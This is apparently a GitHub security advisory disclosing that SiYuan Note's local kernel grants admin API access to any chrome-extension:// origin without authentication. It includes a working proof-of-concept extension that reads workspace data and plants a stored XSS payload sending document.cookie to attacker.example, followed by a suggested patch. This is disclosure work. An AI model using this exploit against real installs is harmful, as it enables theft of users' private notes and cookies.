GHSA-hvr9-72v2-fff3

## Summary

SiYuan Note's kernel HTTP server unconditionally trusts all `chrome-extension://` origins, granting `RoleAdministrator` access to every installed browser extension without any authentication. Combined with the default empty `AccessAuthCode` on desktop installs, any Chrome/Chromium extension -- including a compromised legitimate extension via supply chain attack -- can make fully authenticated admin API calls to the SiYuan kernel at `127.0.0.1:6806`, enabling data exfiltration, stored XSS injection, and configuration tampering.

## Affected Versions

SiYuan <= v3.6.5 (commit `96dfe0bea474`). The chrome-extension allowlist remains unfixed as of the latest commit on the fix branch (`d7b77d945e0d`).

## Vulnerability Details

### Blanket chrome-extension:// Origin Trust (CWE-346)

In `kernel/model/session.go:277`, the `CheckAuth` middleware exempts all `chrome-extension://` origins from authentication:

```go if strings.HasPrefix(origin, "chrome-extension://") { // skip auth } ```

At `session.go:284`, the request is assigned `RoleAdministrator`:

```go c.Set("role", model.RoleAdministrator) ```

The `AccessAuthCode` field defaults to an empty string for desktop installs (`ContainerStd`). When empty, no token validation occurs. This means **any** Chrome/Chromium extension can make fully authenticated admin API calls to the SiYuan kernel.

The origin check trusts the entire `chrome-extension://` scheme rather than validating a specific extension ID, so every installed extension (including those with no explicit `host_permissions`) can access all admin endpoints.

## Proof of Concept

**Unauthenticated admin API access via browser extension:**

A minimal Chrome extension with only default permissions:

```json { "manifest_version": 3, "name": "SiYuan PoC", "version": "1.0", "background": { "service_worker": "bg.js" } } ```

```javascript // bg.js -- runs as chrome-extension://<id> // No special host_permissions needed; localhost is accessible by default

// 1. Verify admin access fetch('http://127.0.0.1:6806/api/system/getConf', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' }).then(r => r.json()).then(data => { console.log('[PoC] Admin API access confirmed:', data.code === 0); });

// 2. Exfiltrate workspace data fetch('http://127.0.0.1:6806/api/query/sql', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ stmt: 'SELECT * FROM blocks LIMIT 100' }) }).then(r => r.json()).then(data => { console.log('[PoC] Exfiltrated blocks:', data.data?.length); });

// 3. Inject stored XSS payload into a note fetch('http://127.0.0.1:6806/api/filetree/listDocsByPath', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ notebook: '', path: '/' }) }).then(r => r.json()).then(tree => { const firstDoc = tree.data?.files?.[0]; if (!firstDoc) return;

fetch('http://127.0.0.1:6806/api/block/insertBlock', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ dataType: 'markdown', data: '<img src=x onerror="fetch(\'https://attacker.example/steal?data=\'+document.cookie)">', parentID: firstDoc.id }) }); }); ```

The extension requires zero special permissions. The `chrome-extension://` origin header is automatically sent by the browser, and `session.go:277` grants it `RoleAdministrator` without any token check.

## Impact

- **Unauthenticated admin API access** for any installed browser extension, enabling full control of the SiYuan kernel - **Data exfiltration** of the entire workspace via `/api/query/sql`, `/api/filetree/`, `/api/export/` - **Stored XSS injection** via admin API endpoints (`/api/block/insertBlock`, `/api/attr/setBlockAttrs`), persisted in the user's notes - **Configuration tampering** via `/api/system/setConf`, enabling persistence and further attack surface expansion - **Supply chain amplification**: a single compromised popular Chrome extension update can silently exploit every SiYuan desktop user

## Suggested Remediation

**Remove blanket chrome-extension:// allowlist:**

```diff --- a/kernel/model/session.go +++ b/kernel/model/session.go @@ -274,9 +274,6 @@ func CheckAuth(c *gin.Context) { origin := c.GetHeader("Origin") - if strings.HasPrefix(origin, "chrome-extension://") { - // Allow chrome extension requests - } else if !isValidOrigin(origin) { c.AbortWithStatusJSON(401, gin.H{"code": -1, "msg": "invalid origin"}) return ```

If extension access is required, implement a per-session token exchange: the SiYuan UI generates a random token on startup, and the extension must present it via a dedicated pairing endpoint. This ensures only explicitly authorized extensions can access the API.